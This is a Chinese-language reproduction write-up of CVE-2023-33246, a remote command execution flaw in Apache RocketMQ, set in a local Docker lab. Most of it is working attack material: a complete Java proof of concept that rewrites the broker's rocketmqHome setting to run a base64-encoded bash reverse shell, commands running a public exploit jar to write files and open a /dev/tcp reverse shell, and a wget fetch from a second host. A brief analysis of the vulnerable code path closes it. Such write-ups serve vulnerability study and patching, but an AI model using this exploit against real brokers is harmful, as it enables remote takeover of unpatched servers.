CVE-2023-33246命令执行复现分析

简介

RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。既可为分布式应用系统提供异步解耦和削峰填谷的能力，同时也具备互联网应用所需的海量消息堆积、高吞吐、可靠重试等特性。

影响版本

<=RocketMQ 5.1.0

<=RocketMQ 4.9.5

环境搭建

docker pull apache/rocketmq:4.9.4

root@ubuntu:/home/ubuntu/Desktop# docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv      //起nameserver

创建broker.conf，并且修改配置文件内容

root@ubuntu:/home/ubuntu/Desktop# docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf    //起Broker

docker ps

http://127.0.0.1:10912/

python3 check.py --ip 10.10.14.72 --port 9876

python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 10.10.14.72 10911 wget  10.10.14.162:8666/1.txt

使用vulhub直接搭建可能效果好一点儿，否则，不知道为什么在漏洞利用执行上面命令的时候无回显，可能exp的问题

cd vulhub/rocketmq/CVE-2023-33246
docker-compose up -d

POC如下

import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;

import java.util.Base64;
import java.util.Properties;

public class poc {
    private static String getCmd(String ip, String port) {
        String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";
        String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());
        return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";
    }

    public static void main(String[] args) throws Exception {
        String targetHost = "目的IP";
        String targetPort = "10911";
    
        String shellHost = "VPSIP";
        String shellPort = "Listen-port";
    
        String targetAddr = String.format("%s:%s",targetHost,targetPort);
        Properties props = new Properties();
        props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));
        props.setProperty("filterServerNums", "1");
        // 创建 DefaultMQAdminExt 对象并启动
        DefaultMQAdminExt admin = new DefaultMQAdminExt();

//        admin.setNamesrvAddr("0.0.0.0:12345");
        admin.start();
        // 更新配置⽂件
        admin.updateBrokerConfig(targetAddr, props);
        Properties brokerConfig = admin.getBrokerConfig(targetAddr);
        System.out.println(brokerConfig.getProperty("rocketmqHome"));
        System.out.println(brokerConfig.getProperty("filterServerNums"));
        // 关闭 DefaultMQAdminExt 对象
        admin.shutdown();
    }
}

使用IDEA创建maven项目，创建xml文件下载依赖,下载地址

https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools/4.9.4

<!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->
<dependency>
    <groupId>org.apache.rocketmq</groupId>
    <artifactId>rocketmq-tools</artifactId>
    <version>4.9.4</version>
</dependency>

修改POC

import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;

import java.util.Base64;
import java.util.Properties;

public class poc {
    private static String getCmd(String ip, String port) {
        String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";
        String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());
        return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";
    }

    public static void main(String[] args) throws Exception {
        String targetHost = "10.10.14.72";
        String targetPort = "10911";
    
        String shellHost = "10.10.14.72";
        String shellPort = "65532";
    
        String targetAddr = String.format("%s:%s",targetHost,targetPort);
        Properties props = new Properties();
        props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));
        props.setProperty("filterServerNums", "1");
        // 创建 DefaultMQAdminExt 对象并启动
        DefaultMQAdminExt admin = new DefaultMQAdminExt();

//        admin.setNamesrvAddr("0.0.0.0:12345");
        admin.start();
        // 更新配置⽂件
        admin.updateBrokerConfig(targetAddr, props);
        Properties brokerConfig = admin.getBrokerConfig(targetAddr);
        System.out.println(brokerConfig.getProperty("rocketmqHome"));
        System.out.println(brokerConfig.getProperty("filterServerNums"));
        // 关闭 DefaultMQAdminExt 对象
        admin.shutdown();
    }
}

反弹结果

git clone https://github.com/SuperZero/CVE-2023-33246.git
java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "222 >/root/2.txt"

进入容器，查看根部录下文件是已写入

java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "bash -i >& /dev/tcp/10.10.14.72/65532 0>&1"

反弹shell

漏洞分析

启动broker路由如下：

main:50, BrokerStartup (org.apache.rocketmq.broker)
start:55, BrokerStartup (org.apache.rocketmq.broker) 
start:1570, BrokerController (org.apache.rocketmq.broker) 
startBasicService:1527, BrokerController (org.apache.rocketmq.broker) 
start:57, FilterServerManager (org.apache.rocketmq.broker.filtersrv)

当在函数org.apache.rocketmq.broker.filtersrv.FilterServerManager61行

调用下面的createFilterServer方法，71行中看到从配置文件中获取参数。72行调用方法buildStartCommand

该方法中取到变量NamesrvAddr和 RocketmqHome,获取之后进行拼接cmd，在72行拿到拼接后的cmd

进入for循环后在org.apache.rocketmq.broker.filtersrv.FilterServerUtil中给的callshell方法去执行命令

该中间件本来就是每30秒执行一次，漏洞产生的就是修改了配置文件，变量被赋值为了恶意命令，导致了命令执行。